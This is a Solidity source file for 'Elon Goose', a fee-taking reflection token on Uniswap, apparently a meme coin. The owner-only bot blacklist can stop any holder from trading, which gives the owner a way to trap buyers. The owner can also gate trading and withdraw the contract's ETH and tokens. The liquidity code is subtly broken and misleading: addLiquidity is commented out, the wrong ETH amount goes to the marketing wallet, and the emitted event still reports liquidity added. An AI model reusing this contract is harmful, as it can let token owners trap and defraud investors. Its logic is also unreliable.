contract ElonGoose is Context, IERC20, Ownable {
	using SafeMath for uint256;
	using Address for address;

	mapping(address => uint256) private _rOwned;
	mapping(address => uint256) private _tOwned;
	mapping(address => mapping(address => uint256)) private _allowances;

	mapping(address => bool) private _isExcludedFromFee;

	mapping(address => bool) private _isExcluded;
	address[] private _excluded;

	mapping(address => bool) private botWallets;
	bool botscantrade = false;

	bool public canTrade = false;

	uint256 private constant MAX = ~uint256(0);
	uint256 private _tTotal = 69000000000000000000000 * 10**9;
	uint256 private _rTotal = (MAX - (MAX % _tTotal));
	uint256 private _tFeeTotal;
	address public marketingWallet = payable(0x7710e283B61dCB98c3a419EE9E1137c9BfA2C0a3);

	string private _name = "Elon Goose";
	string private _symbol = "ElonGoose";
	uint8 private _decimals = 9;

	uint256 public _taxFee = 1;
	uint256 private _previousTaxFee = _taxFee;

	uint256 public _liquidityFee = 12;
	uint256 private _previousLiquidityFee = _liquidityFee;

	IUniswapV2Router02 public immutable uniswapV2Router;
	address public immutable uniswapV2Pair;

	bool inSwapAndLiquify;
	bool public swapAndLiquifyEnabled = true;

	uint256 public _maxTxAmount = 990000000000000000000 * 10**9;
	uint256 public numTokensSellToAddToLiquidity = 690000000000000000000 * 10**9;

	event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
	event SwapAndLiquifyEnabledUpdated(bool enabled);
	event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity);

	modifier lockTheSwap() {
		inSwapAndLiquify = true;
		_;
		inSwapAndLiquify = false;
	}

	constructor() {
		_rOwned[_msgSender()] = _rTotal;

		IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Mainnet & Testnet ETH
		// Create a uniswap pair for this new token
		uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());

		// set the rest of the contract variables
		uniswapV2Router = _uniswapV2Router;

		//exclude owner and this contract from fee
		_isExcludedFromFee[owner()] = true;
		_isExcludedFromFee[address(this)] = true;

		emit Transfer(address(0), _msgSender(), _tTotal);
	}

	function name() public view returns (string memory) {
		return _name;
	}

	function symbol() public view returns (string memory) {
		return _symbol;
	}

	function decimals() public view returns (uint8) {
		return _decimals;
	}

	function totalSupply() public view override returns (uint256) {
		return _tTotal;
	}

	function balanceOf(address account) public view override returns (uint256) {
		if (_isExcluded[account]) return _tOwned[account];
		return tokenFromReflection(_rOwned[account]);
	}

	function transfer(address recipient, uint256 amount) public override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		return true;
	}

	function allowance(address owner, address spender) public view override returns (uint256) {
		return _allowances[owner][spender];
	}

	function approve(address spender, uint256 amount) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}

	function transferFrom(
		address sender,
		address recipient,
		uint256 amount
	) public override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
		return true;
	}

	function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
		_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
		return true;
	}

	function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
		_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
		return true;
	}

	function isExcludedFromReward(address account) public view returns (bool) {
		return _isExcluded[account];
	}

	function totalFees() public view returns (uint256) {
		return _tFeeTotal;
	}

	function airdrop(address recipient, uint256 amount) external onlyOwner {
		removeAllFee();
		_transfer(_msgSender(), recipient, amount * 10**9);
		restoreAllFee();
	}

	function airdropInternal(address recipient, uint256 amount) internal {
		removeAllFee();
		_transfer(_msgSender(), recipient, amount);
		restoreAllFee();
	}

	function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner {
		uint256 iterator = 0;
		require(newholders.length == amounts.length, "must be the same length");
		while (iterator < newholders.length) {
			airdropInternal(newholders[iterator], amounts[iterator] * 10**9);
			iterator += 1;
		}
	}

	function deliver(uint256 tAmount) public {
		address sender = _msgSender();
		require(!_isExcluded[sender], "Excluded addresses cannot call this function");
		(uint256 rAmount, , , , , ) = _getValues(tAmount);
		_rOwned[sender] = _rOwned[sender].sub(rAmount);
		_rTotal = _rTotal.sub(rAmount);
		_tFeeTotal = _tFeeTotal.add(tAmount);
	}

	function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) {
		require(tAmount <= _tTotal, "Amount must be less than supply");
		if (!deductTransferFee) {
			(uint256 rAmount, , , , , ) = _getValues(tAmount);
			return rAmount;
		} else {
			(, uint256 rTransferAmount, , , , ) = _getValues(tAmount);
			return rTransferAmount;
		}
	}

	function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
		require(rAmount <= _rTotal, "Amount must be less than total reflections");
		uint256 currentRate = _getRate();
		return rAmount.div(currentRate);
	}

	function excludeFromReward(address account) public onlyOwner {
		// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
		require(!_isExcluded[account], "Account is already excluded");
		if (_rOwned[account] > 0) {
			_tOwned[account] = tokenFromReflection(_rOwned[account]);
		}
		_isExcluded[account] = true;
		_excluded.push(account);
	}

	function includeInReward(address account) external onlyOwner {
		require(_isExcluded[account], "Account is already excluded");
		for (uint256 i = 0; i < _excluded.length; i++) {
			if (_excluded[i] == account) {
				_excluded[i] = _excluded[_excluded.length - 1];
				_tOwned[account] = 0;
				_isExcluded[account] = false;
				_excluded.pop();
				break;
			}
		}
	}

	function _transferBothExcluded(
		address sender,
		address recipient,
		uint256 tAmount
	) private {
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
		_tOwned[sender] = _tOwned[sender].sub(tAmount);
		_rOwned[sender] = _rOwned[sender].sub(rAmount);
		_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
		_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
		_takeLiquidity(tLiquidity);
		_reflectFee(rFee, tFee);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	function excludeFromFee(address account) public onlyOwner {
		_isExcludedFromFee[account] = true;
	}

	function includeInFee(address account) public onlyOwner {
		_isExcludedFromFee[account] = false;
	}

	function setMarketingWallet(address walletAddress) public onlyOwner {
		marketingWallet = walletAddress;
	}

	function upliftTxAmount() external onlyOwner {
		_maxTxAmount = 69000000000000000000000 * 10**9;
	}

	function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner {
		require(SwapThresholdAmount > 69000000, "Swap Threshold Amount cannot be less than 69 Million");
		numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**9;
	}

	function claimTokens() public {
		// make sure we capture all ETH that may or may not be sent to this contract
		payable(marketingWallet).transfer(address(this).balance);
	}

	function claimOtherTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner {
		tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this)));
	}

	function clearStuckBalance(address payable walletaddress) external onlyOwner {
		walletaddress.transfer(address(this).balance);
	}

	function addBotWallet(address botwallet) external onlyOwner {
		botWallets[botwallet] = true;
	}

	function removeBotWallet(address botwallet) external onlyOwner {
		botWallets[botwallet] = false;
	}

	function getBotWalletStatus(address botwallet) public view returns (bool) {
		return botWallets[botwallet];
	}

	function allowtrading() external onlyOwner {
		canTrade = true;
	}

	function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
		swapAndLiquifyEnabled = _enabled;
		emit SwapAndLiquifyEnabledUpdated(_enabled);
	}

	//to recieve ETH from uniswapV2Router when swaping
	receive() external payable {}

	function _reflectFee(uint256 rFee, uint256 tFee) private {
		_rTotal = _rTotal.sub(rFee);
		_tFeeTotal = _tFeeTotal.add(tFee);
	}

	function _getValues(uint256 tAmount)
		private
		view
		returns (
			uint256,
			uint256,
			uint256,
			uint256,
			uint256,
			uint256
		)
	{
		(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
		return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
	}

	function _getTValues(uint256 tAmount)
		private
		view
		returns (
			uint256,
			uint256,
			uint256
		)
	{
		uint256 tFee = calculateTaxFee(tAmount);
		uint256 tLiquidity = calculateLiquidityFee(tAmount);
		uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
		return (tTransferAmount, tFee, tLiquidity);
	}

	function _getRValues(
		uint256 tAmount,
		uint256 tFee,
		uint256 tLiquidity,
		uint256 currentRate
	)
		private
		pure
		returns (
			uint256,
			uint256,
			uint256
		)
	{
		uint256 rAmount = tAmount.mul(currentRate);
		uint256 rFee = tFee.mul(currentRate);
		uint256 rLiquidity = tLiquidity.mul(currentRate);
		uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
		return (rAmount, rTransferAmount, rFee);
	}

	function _getRate() private view returns (uint256) {
		(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
		return rSupply.div(tSupply);
	}

	function _getCurrentSupply() private view returns (uint256, uint256) {
		uint256 rSupply = _rTotal;
		uint256 tSupply = _tTotal;
		for (uint256 i = 0; i < _excluded.length; i++) {
			if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
			rSupply = rSupply.sub(_rOwned[_excluded[i]]);
			tSupply = tSupply.sub(_tOwned[_excluded[i]]);
		}
		if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
		return (rSupply, tSupply);
	}

	function _takeLiquidity(uint256 tLiquidity) private {
		uint256 currentRate = _getRate();
		uint256 rLiquidity = tLiquidity.mul(currentRate);
		_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
		if (_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
	}

	function calculateTaxFee(uint256 _amount) private view returns (uint256) {
		return _amount.mul(_taxFee).div(10**2);
	}

	function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
		return _amount.mul(_liquidityFee).div(10**2);
	}

	function removeAllFee() private {
		if (_taxFee == 0 && _liquidityFee == 0) return;

		_previousTaxFee = _taxFee;
		_previousLiquidityFee = _liquidityFee;

		_taxFee = 0;
		_liquidityFee = 0;
	}

	function restoreAllFee() private {
		_taxFee = _previousTaxFee;
		_liquidityFee = _previousLiquidityFee;
	}

	function isExcludedFromFee(address account) public view returns (bool) {
		return _isExcludedFromFee[account];
	}

	function _approve(
		address owner,
		address spender,
		uint256 amount
	) private {
		require(owner != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");

		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);
	}

	function _transfer(
		address from,
		address to,
		uint256 amount
	) private {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");
		if (from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");

		// is the token balance of this contract address over the min number of
		// tokens that we need to initiate a swap + liquidity lock?
		// also, don't get caught in a circular liquidity event.
		// also, don't swap & liquify if sender is uniswap pair.
		uint256 contractTokenBalance = balanceOf(address(this));

		if (contractTokenBalance >= _maxTxAmount) {
			contractTokenBalance = _maxTxAmount;
		}

		bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
		if (overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled) {
			contractTokenBalance = numTokensSellToAddToLiquidity;
			//add liquidity
			swapAndLiquify(contractTokenBalance);
		}

		//indicates if fee should be deducted from transfer
		bool takeFee = true;

		//if any account belongs to _isExcludedFromFee account then remove the fee
		if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
			takeFee = false;
		}

		//transfer amount, it will take tax, burn, liquidity fee
		_tokenTransfer(from, to, amount, takeFee);
	}

	function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
		// split the contract balance into halves
		// add the marketing wallet
		uint256 half = contractTokenBalance.div(2);
		uint256 otherHalf = contractTokenBalance.sub(half);

		// capture the contract's current ETH balance.
		// this is so that we can capture exactly the amount of ETH that the
		// swap creates, and not make the liquidity event include any ETH that
		// has been manually sent to the contract
		uint256 initialBalance = address(this).balance;

		// swap tokens for ETH
		swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered

		// how much ETH did we just swap into?
		uint256 newBalance = address(this).balance;
		uint256 marketingshare = newBalance.mul(75).div(100);
		payable(marketingWallet).transfer(initialBalance);
		newBalance -= marketingshare;
		// add liquidity to uniswap
		//addLiquidity(otherHalf, newBalance);

		emit SwapAndLiquify(half, newBalance, otherHalf);
	}

	function swapTokensForEth(uint256 tokenAmount) private {
		// generate the uniswap pair path of token -> weth
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = uniswapV2Router.WETH();

		_approve(address(this), address(uniswapV2Router), tokenAmount);

		// make the swap
		uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
			tokenAmount,
			0, // accept any amount of ETH
			path,
			address(this),
			block.timestamp
		);
	}

	function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
		// approve token transfer to cover all possible scenarios
		_approve(address(this), address(uniswapV2Router), tokenAmount);

		// add the liquidity
		uniswapV2Router.addLiquidityETH{ value: ethAmount }(
			address(this),
			tokenAmount,
			0, // slippage is unavoidable
			0, // slippage is unavoidable
			owner(),
			block.timestamp
		);
	}

	//this method is responsible for taking all fee, if takeFee is true
	function _tokenTransfer(
		address sender,
		address recipient,
		uint256 amount,
		bool takeFee
	) private {
		if (!canTrade) {
			require(sender == owner()); // only owner allowed to trade or add liquidity
		}

		if (botWallets[sender] || botWallets[recipient]) {
			require(botscantrade, "bots arent allowed to trade");
		}

		if (!takeFee) removeAllFee();

		if (_isExcluded[sender] && !_isExcluded[recipient]) {
			_transferFromExcluded(sender, recipient, amount);
		} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
			_transferToExcluded(sender, recipient, amount);
		} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
			_transferStandard(sender, recipient, amount);
		} else if (_isExcluded[sender] && _isExcluded[recipient]) {
			_transferBothExcluded(sender, recipient, amount);
		} else {
			_transferStandard(sender, recipient, amount);
		}

		if (!takeFee) restoreAllFee();
	}

	function _transferStandard(
		address sender,
		address recipient,
		uint256 tAmount
	) private {
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
		_rOwned[sender] = _rOwned[sender].sub(rAmount);
		_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
		_takeLiquidity(tLiquidity);
		_reflectFee(rFee, tFee);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	function _transferToExcluded(
		address sender,
		address recipient,
		uint256 tAmount
	) private {
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
		_rOwned[sender] = _rOwned[sender].sub(rAmount);
		_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
		_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
		_takeLiquidity(tLiquidity);
		_reflectFee(rFee, tFee);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	function _transferFromExcluded(
		address sender,
		address recipient,
		uint256 tAmount
	) private {
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
		_tOwned[sender] = _tOwned[sender].sub(tAmount);
		_rOwned[sender] = _rOwned[sender].sub(rAmount);
		_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
		_takeLiquidity(tLiquidity);
		_reflectFee(rFee, tFee);
		emit Transfer(sender, recipient, tTransferAmount);
	}
}
//to recieve ETH from uniswapV2Router when swaping